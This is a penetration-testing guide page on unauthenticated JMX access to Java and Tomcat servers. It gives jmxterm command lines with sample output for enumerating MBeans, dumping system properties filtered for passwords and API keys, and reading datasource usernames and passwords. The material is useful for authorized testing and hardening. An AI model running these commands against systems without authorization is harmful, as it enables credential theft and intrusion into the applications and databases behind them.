Skip to content
HackIndex logo

HackIndex

JMX Unauthenticated Access

4 min read Apr 4, 2026

JMX without authentication exposes the full management plane of the Java application — runtime information, configuration, deployed applications, user stores, and management operations. The exposure scope depends on which MBeans are registered. At minimum you get JVM internals. In application server deployments you often get deployed application names, datasource connection strings including credentials, and operations that trigger application behavior. Confirm JMX connectivity through jmxterm enumeration first.

Confirm Unauthenticated Connection

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\ndomains\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -v '^#' 
java.lang
Catalina
Users
com.sun.management
Explain command
-e Enable interpretation of backslash escape sequences in the string.
$TARGET_IP:1099 Placeholder for target IP and JMX RMI registry port 1099.
-jar /opt/jmxterm.jar Execute the specified JAR file as the main application.
2>/dev/null Redirect stderr to null device, suppressing error output.
-v '^#' Invert match to exclude lines beginning with a hash character.

Domains returned without a credential prompt confirms unauthenticated access. Each domain is a separate attack surface to enumerate.

Extract System Properties

System properties often contain application configuration including database URLs, credentials, and internal hostnames:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbean java.lang:type=Runtime\nget SystemProperties\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -iE 'password|secret|key|db|jdbc|user|credential' 
db.password = SuperSecret123!
jdbc.url = jdbc:mysql://10.10.10.20:3306/appdb
app.api.key = sk-prod-abc123
Explain command
-e Enable interpretation of backslash escape sequences in echo output.
$TARGET_IP:1099 Placeholder for target host and JMX RMI registry port.
-jar /opt/jmxterm.jar Execute the specified JAR file as the main Java application.
2>/dev/null Redirect stderr to null device, suppressing error messages.
-iE Case-insensitive match using extended regex pattern.
'password|secret|key|db|jdbc|user|credential' Regex pattern to filter output for sensitive configuration keywords.

Enumerate Tomcat Deployed Applications

When the Catalina domain is present (Tomcat), list deployed web applications and their states:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbeans -d Catalina\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -i 'Manager\|Context\|Engine' 
Catalina:type=Manager,context=/manager,host=localhost
Catalina:type=Manager,context=/webapp,host=localhost
Catalina:type=Context,context=/manager,host=localhost

The Catalina Manager context confirms the Tomcat manager is deployed — move to Tomcat manager testing. You can read the manager context attributes to confirm the deployed path and access settings.

Read Datasource Connection Strings

Application servers register datasources as MBeans — connection strings including embedded passwords are often readable:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbeans\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -i 'datasource\|pool\|jdbc' 
Catalina:type=DataSource,context=/webapp,host=localhost,name=jdbc/appdb
Explain command
-e Enable interpretation of backslash escape sequences in echo.
$TARGET_IP:1099 Placeholder for target host IP and JMX RMI registry port.
-jar /opt/jmxterm.jar Execute the specified JAR file as a standalone JMX terminal tool.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.
-i 'datasource\|pool\|jdbc' Case-insensitive grep filter for JMX bean names related to DB connections. 
bean Catalina:type=DataSource,context=/webapp,host=localhost,name=jdbc/appdb
get url
get username
get password

Check Threading and Memory for Impact Assessment

JVM thread count and heap usage give a sense of application load and help scope impact:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbean java.lang:type=Threading\nget ThreadCount\nbean java.lang:type=Memory\nget HeapMemoryUsage\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -v '^#' 
47
{init=268435456, used=98566352, committed=257425408, max=3817865216}
Explain command
-e Enable interpretation of backslash escape sequences in echo output.
service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi JMX service URL targeting RMI registry on port 1099 of the target host.
$TARGET_IP Placeholder for the target host IP address.
-jar /opt/jmxterm.jar Execute the JMXTerm JAR file as the main application entry point.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.
'^#' Regex pattern used with grep -v to filter out comment lines starting with #.
-v Invert match, printing only lines that do NOT match the pattern.

References